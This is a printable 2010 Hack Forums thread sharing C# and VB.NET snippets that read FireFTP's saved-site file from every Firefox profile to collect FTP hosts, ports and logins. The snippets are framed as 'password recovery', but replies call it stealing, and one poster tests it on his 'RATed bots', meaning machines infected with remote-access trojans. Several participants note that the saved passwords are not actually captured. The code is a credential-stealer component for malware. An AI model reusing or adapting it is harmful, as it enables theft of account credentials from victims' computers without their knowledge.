Hack Forums
[C#] [C#]& [VB.NET] Recover FireFTP Passwords - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] [C#]& [VB.NET] Recover FireFTP Passwords (/showthread.php?tid=396649)



[C#]& [VB.NET] Recover FireFTP Passwords - codepoet - May 1, 2010

C#
Code
static string FireFTP()
{
    //Coded by: Rue
    try
    {
    string APPDATA = Paths.getPath(Paths.CSIDL_APPDATA);
    string PROFILEPATH = APPDATA + “\\Mozilla\\Firefox\\Profiles\\”;
    string[] PROFILES = Directory.GetDirectories(PROFILEPATH);
    string accounts = string.Empty;

    foreach (string profile in PROFILES)
    {
    StreamReader sr = new StreamReader(profile + “\\fireFTPsites.dat”);
    accounts += sr.ReadToEnd() + “\n\n”;
    sr.Close();
    }
    return “-FIREFTP——-\n\n” + accounts + “\n—————”;
    }
    catch { return null; }
}

originally written by: RuE
------------------------------------
Full code
Code
[code]public string FireFTPRecovery()
{
    string Accounts = null;
    foreach (var Directory in My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Mozilla\\Firefox\\Profiles\\")) {
        Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString + "\\fireFTPsites.dat") + Environment.NewLine;
    }
    return Accounts;
}
[/code]

originally written by: Me

VB.NET

(May 1, 2010 06:15 PM)General Dee Wrote:  
Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

originally written by: General Dee




If You Like this tutorial,
please check out my other tutorials by clicking ==> here



* - 0xE9 - May 1, 2010

cool ill convert this l8r


* - codepoet - May 1, 2010

cool ill post the vb.net version later on tonight


* - iRtehLeet™ - May 1, 2010

The passwords under APPDATA + \\Mozilla\\Firefox\\Profiles\\xxx\\fireFTPsites.dat just show:
Code
password:""

Any ideas?


* - Mr Smith - May 1, 2010

Can someone try this?

Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

I don't have FireFTP installed.


* - codepoet - May 1, 2010

(May 1, 2010 06:15 PM)General Dee Wrote:  Can someone try this?

Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

I don't have FireFTP installed.

i hade same results at translating it.....im tring it now on my RATed bots.


* - iRtehLeet™ - May 1, 2010

(May 1, 2010 06:15 PM)General Dee Wrote:  Can someone try this?

Code
Function FireFTPRecovery() As String
        Dim Accounts As String
        For Each Directory In My.Computer.FileSystem.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles\")
            Accounts += My.Computer.FileSystem.ReadAllText(Directory.ToString & "\fireFTPsites.dat") & Environment.NewLine
        Next
        Return Accounts
    End Function

I don't have FireFTP installed.

I just translated to very similar function as yours, its working perfectly (I have FireFTP installed) but password shows as:
Code
password:""

Password is saved somewhere else for sure, this is just stealing ID's and Server Names.

Example:

Code
[{account:"Account Name", host:"server.com", port:"1000", login:"user", password:""}]



* - Suрernatural - May 1, 2010

So it does not steal the passwords?


* - codepoet - May 1, 2010

it steals the passwords but saves it somewhere else so its hard to say the exact location of the password....

needs more work


* - GoldStar - May 1, 2010

not sure about the file location, but i don't call that recovery. at least do some parsing, check if Password<>"", ect... organize your output.


* - iRtehLeet™ - May 1, 2010

(May 1, 2010 07:42 PM)crow407 Wrote:  it steals the passwords but saves it somewhere else so its hard to say the exact location of the password....

needs more work

This does not steal the password at all, because the file it is stream reading does not have a password located inside, this is incomplete. ✌


* - Mr Smith - May 1, 2010

(May 1, 2010 07:48 PM)Miharbi-DoNo Wrote:  not sure about the file location, but i don't call that recovery. at least do some parsing, check if Password<>"", ect... organize your output.

Exactly! I was just converting the C# code. As for the password thingy, I don't really know, one minute it is there, the next, vamoosh and its gone!


* - codepoet - May 2, 2010

(May 1, 2010 08:19 PM)General Dee Wrote:  Exactly! I was just converting the C# code. As for the password thingy, I don't really know, one minute it is there, the next, vamoosh and its gone!

yep same results for me as well...